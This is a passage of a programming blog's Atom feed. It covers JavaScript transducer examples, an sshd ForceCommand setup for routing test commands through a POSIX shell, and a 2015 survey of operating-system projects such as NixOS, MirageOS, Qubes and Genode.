  &lt;span class=&quot;na&quot;&gt;key3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val3&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mapVal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;existing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; { existing: 1, key1: &apos;val1!&apos;, key2: &apos;val2!&apos;, key3: &apos;val3!&apos; }&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I can’t really think of any situation where I’d need to transduce “into” a non-empty destination, but it is nevertheless quite neat.&lt;/p&gt;

&lt;h4 id=&quot;custom-iterators&quot;&gt;Custom iterators&lt;/h4&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;c1&quot;&gt;// custom &quot;infinite sequence from &amp;lt;n&amp;gt;&quot; implementation&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;initial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;rv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocols&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;iterator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;_idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;initial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;nf&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_idx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;delay&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;defer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;take&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([],&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; [ 11, 12, 13, 14, 15 ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This is pretty neat - we take an infinite sequence starting from 10, add one to each element, and then just take the first five numbers of the result. Of course, this is also pretty trivial with StratifiedJS:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;Stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;hold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;emit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;take&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;toArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; [ 11, 12, 13, 14, 15 ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:prone&quot;&gt;
      &lt;p&gt;Fun fact:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null + 2 + 4 == 6&lt;/code&gt;, and&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0 + 2 + 4 == 6&lt;/code&gt;, and&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.into(0, sum, [2, 4])) == 6&lt;/code&gt;, but&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.into(null, sum, [2, 4])) == 4&lt;/code&gt;&lt;br /&gt;
because apparently an initial value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt; is a special signifier for “return the last value of the input sequence”, which didn’t seem to be documented anywhere. I’d never rely on sane behaviour from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null + &amp;lt;number&amp;gt;&lt;/code&gt; in real code, but it had me scratching my head when I encountered it by accident. &lt;a href=&quot;#fnref:prone&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Force a specific shell for sshd</title>
			<link href="http://gfxmonk.net/2015/04/24/force-a-specific-shell-for-sshd.html"/>
			<updated>2015-04-24T00:00:00+10:00</updated>
			<id>http://gfxmonk.net/2015/04/24/force-a-specific-shell-for-sshd</id>
			<content type="html">
				
				&lt;p&gt;I use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fish-shell&lt;/code&gt; as my default shell on my own computer, because it’s a pretty nice shell.&lt;/p&gt;

&lt;p&gt;Occasionally, though, this causes issues. Software tests in particular have a habit of sloppily running shell command. Typically, this can be fixed by just being more explicit, using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execvp([&apos;bash&apos;, &apos;-c&apos;, &apos;&amp;lt;command&amp;gt;&apos;])&lt;/code&gt; (or just use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execv*&lt;/code&gt; directly instead of going through a shell).&lt;/p&gt;

&lt;p&gt;But one case I couldn’t figure out is SSH. When you’re testing an SSH client, the most reliable way to do that is to run some shell scripts over a local SSH session, and check that it does what you expect. SSH has no way of passing a nice array of arguments, all you get is a string which will be interpreted by the user’s SHELL.&lt;/p&gt;

&lt;p&gt;If you want to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; for an SSH command, many online resources will tell to you run “ssh &lt;hostname&gt; bash ...&quot;. But that won&apos;t work for tests, which want to run _real_ commands against a POSIX shell (including edge cases around argument parsing). Other suggestions include changing your default shell, but I don&apos;t want to forsake my preferred shell just to appease some automated tests!&lt;/hostname&gt;&lt;/p&gt;

&lt;p&gt;What you &lt;em&gt;can&lt;/em&gt; do however, is funnel the whole shell string through to your desired shell using this slightly underhand &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sshd&lt;/code&gt; configuration:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ForceCommand sh -c &apos;eval &quot;$SSH_ORIGINAL_COMMAND&quot;&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This still requires a default shell that’s normal enough to not do any interpolation within single quotes, but that’s a much simpler requirement (and true of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fish-shell&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;For the &lt;a href=&quot;https://conductance.io&quot;&gt;Conductance&lt;/a&gt; test suite, we run an unprivileged SSHD daemon with its own checked-in config during testing. So applying this globally is fine. But if you are doing this on actual SSH server, you might want to use a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Match&lt;/code&gt; directive to make sure this rule only applies to trusted user (e.g I haven’t tested how this works on a locked-down account with its shell set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/nologin&lt;/code&gt;, it could conceivably create a security hole).&lt;/p&gt;


				
			</content>
		</entry>
	
		<entry>
			<title>OS Technologies To Watch</title>
			<link href="http://gfxmonk.net/2015/01/04/os-technologies-to-watch.html"/>
			<updated>2015-01-04T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2015/01/04/os-technologies-to-watch</id>
			<content type="html">
				
				&lt;p&gt;It’s the new year, and it seems to be a vibrant time for novel Operating System technologies. This is not intended to be an objective list of “the best things”, it’s just some up-and-coming technologies that I’m particularly excited about right now:&lt;/p&gt;

&lt;!--more--&gt;

&lt;h1 id=&quot;nix--nixos&quot;&gt;&lt;a href=&quot;http://nixos.org/&quot;&gt;Nix / NixOS&lt;/a&gt;&lt;/h1&gt;

&lt;p&gt;I’ve known about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixos&lt;/code&gt; for a while, but not really had much cause to use it. This year, I started using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixos&lt;/code&gt; to deploy some cloud services. I have been completely blown away.&lt;/p&gt;

&lt;p&gt;I had so much to say about NixOS that I turned it into its own post: &lt;a href=&quot;/2015/01/03/nixos-and-stateless-deployment.html&quot;&gt;NixOS and stateless deployment&lt;/a&gt;, so go read that if you’re interested. But to summarize, Nixos lets you define a computer’s &lt;em&gt;complete OS and configuration&lt;/em&gt;, declaratively. Users. Files. Software (both official and your own). Configuration. Services. Disk mounts. Kernel drivers. Every friggin’ thing. It’s all specified in a pure, lazy, strongly typed declarative language with just enough power (functions, modules, etc) to allow all the abstractions you need, but which often reads just like a trivial configuration file.&lt;/p&gt;

&lt;p&gt;And unlike puppet (which is declarative but impure and non-exhaustive), the promise of stateless declarative configuration actually holds true. Taking so much state out of deployment really is an incredible and liberating achievement. I honestly dread the next time I have cause to deploy something that &lt;em&gt;isn’t&lt;/em&gt; NixOS.&lt;/p&gt;

&lt;p&gt;But while NixOS is incredibly useful for development / deployment, it’s unlikely to be useful as a desktop OS. Eliminating state for a personal desktop machine is nowhere near as critical as it is for servers, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; has a pretty poor desktop-specific package selection &lt;strike&gt;(e.g still no Gnome3 packages)&lt;/strike&gt;. &lt;em&gt;Update (04/01/2015)&lt;/em&gt;:  Multiple people have pointed out that Gnome3 is packaged and works fine, so that was a bad example ;)).&lt;/p&gt;

&lt;h1 id=&quot;mirageos&quot;&gt;&lt;a href=&quot;http://www.openmirage.org/&quot;&gt;MirageOS&lt;/a&gt;&lt;/h1&gt;

&lt;p&gt;MirageOS is not your standard OS. A mirage binary is basically your application code statically linked against an OS kernel, as one big blob, called a “unikernel”.&lt;/p&gt;

&lt;p&gt;This sounds like a crazy idea, but think about it. Many VMs these days on cloud providers run &lt;em&gt;just one service&lt;/em&gt;, for isolation and other reasons. So you have the linux kernel, with a full multi-user multi-tasking stack, a host of installed services and &lt;em&gt;only one job&lt;/em&gt; (your app). That’s &lt;em&gt;hundreds of megabytes of code&lt;/em&gt;, before you even factor in your own software. The amount of incidental complexity you could avoid by cutting all of that out and just linking your app directly against a massively simpler kernel is pretty astounding.&lt;/p&gt;

&lt;p&gt;Of course, a massively simpler system like this has limitations. MirageOS only runs OCaml code. You can’t run multiple processes (but you can use a cooperative event-loop library like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lwt&lt;/code&gt; to perform concurrent tasks in the one process). You don’t even necessarily have a disk (but you can set one up if you need persistent storage).&lt;/p&gt;

&lt;p&gt;But if your application can fit in that model, the benefits are pretty exciting. Your entire OS is stateless. Your deployment process is literally just stopping one VM and starting another. And that may sound expensive, but these unikernels are in the order of &lt;em&gt;tens of kilobytes&lt;/em&gt; - they can start up quicker than a docker container. You get the benefits of OCaml’s excellent type system and memory safety across your entire OS (no buffer overflows), along with an incredibly small attack surface (no random binaries or C libraries that were written before the internet with the belief that there is no such thing as malicious input). If there’s one thing this year has taught me, it’s that just because code is old and widely used, doesn’t mean it can’t be &lt;a href=&quot;http://en.wikipedia.org/wiki/Heartbleed&quot;&gt;terribly&lt;/a&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Shellshock_%28software_bug%29&quot;&gt;insecure&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Obviously, writing code in OCaml doesn’t implicitly fix security bugs (aside from memory safety bugs, which is nothing to sneeze at). But the most efficient and least buggy code is code which doesn’t exist, and MirageOS can effectively trim off decades of crusty code, if you can work within its fairly strict requirements. To be honest, I haven’t actually used it myself - I’m keen, but given the restrictions I haven’t yet had anything appropriate to try it out with.&lt;/p&gt;

&lt;p&gt;And if OCaml isn’t your thing, there are unikernels in various stages of development for &lt;a href=&quot;https://galois.com/project/halvm/&quot;&gt;haskell&lt;/a&gt;, &lt;a href=&quot;http://osv.io/&quot;&gt;the JVM&lt;/a&gt;, &lt;a href=&quot;http://erlangonxen.org/&quot;&gt;erlang&lt;/a&gt; and &lt;a href=&quot;http://lsub.org/ls/clive.html&quot;&gt;go&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;qubes-os&quot;&gt;&lt;a href=&quot;https://qubes-os.org/&quot;&gt;Qubes OS&lt;/a&gt;&lt;/h1&gt;

&lt;p&gt;The complete lack of isolation in everyday computing is incredibly alarming. I have many things that I do on and offline - programming, work, banking, playing with new programs and tools, building software, playing games. I would be much more comfortable if (for example) some fun little game I’m trying out were not given full access to my entire user account, which could fairly trivially compromise &lt;em&gt;all&lt;/em&gt; of the above without actually needing to subvert any security measures. Obviously when trying out &lt;em&gt;suspicious&lt;/em&gt; software I’ll do it in a VM or with an unprivileged user account, but that’s a lot of work, and is very inconvenient.&lt;/p&gt;

&lt;p&gt;From what I’ve seen, Qubes &lt;em&gt;could&lt;/em&gt; be a much more convenient approach to at least maintaining some walls between activities that clearly have no business interacting with each other (e.g online banking and playing games). On the downside, I believe it comes at a fairly hefty performance (particularly RAM) cost, doesn’t provide the 3D acceleration required for gaming, and doesn’t allow much choice when it comes to the window manager (I use gnome-shell with a tiling window plugin, while Qubes uses KDE which I don’t much care for). While criticizing the &lt;em&gt;window manager&lt;/em&gt; of a security oriented OS is clearly missing the point, it’s still going to put me off using it as my primary OS.&lt;/p&gt;

&lt;p&gt;So despite the fact that I haven’t use Qubes, I’m hopeful that one day it could be convenient (and efficient) enough to provide vastly better security than we currently put up with.&lt;/p&gt;

&lt;h1 id=&quot;genode&quot;&gt;&lt;a href=&quot;http://genode.org/&quot;&gt;Genode&lt;/a&gt;&lt;/h1&gt;

&lt;p&gt;While Qubes is A Thing That Could Work Right Now (with some annoyances), Genode feels like a thing that could be truly amazing in a handful of years’ time. And once it is generally useful, it would hopefully supersede the current half-measures like Qubes’s VM-based separation (which is not a slight on Qubes; it’s clearly more practical right now).&lt;/p&gt;

&lt;p&gt;While Qubes requires on the user organising their actions into explicit categories (“work”, “games”, etc), Genode is instead a capability-based model. The basic idea here is that instead of having &lt;em&gt;ambient&lt;/em&gt; authority like a regular OS (things like a heirarchical file system, network stack or inter-process-communication) which &lt;em&gt;any&lt;/em&gt; running process can access using well-known methods, a process in a capability-based system can access only the resources that are explicitly passed to it. It’s kind of like in programming, where instead of passing a file path around and allowing anyone to access any file they wish, you might pass a very restrictive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File&lt;/code&gt; object instead. Except that in this analogy, it would be &lt;em&gt;impossible&lt;/em&gt; to access the filesystem outside of individual references passed to you, making it very explicit which files a procedure can access. Doing this for anything involving authority allows you to keep processes isolated on a very granular level, by only providing them capabilities to the services / powers they actually need, rather than trying to design system-wide security policies like current OSes do.&lt;/p&gt;

&lt;p&gt;I’ve been following this for a while, but it’s a fairly low-level project compared to where I usually spend my time, so it’s hard for me to do much with. I don’t have much love for C++ (in which the entire OS is built), and releases are still featuring low level things like improved USB &amp;amp; networking stacks, filesystem drivers, etc. So while I’m very interested to see where the OS goes, it’s only from the sidelines, as I can’t really do much with it myself.&lt;/p&gt;

&lt;h1 id=&quot;honourable-mention-sandstormio&quot;&gt;Honourable mention: &lt;a href=&quot;https://sandstorm.io/&quot;&gt;Sandstorm.io&lt;/a&gt;&lt;/h1&gt;

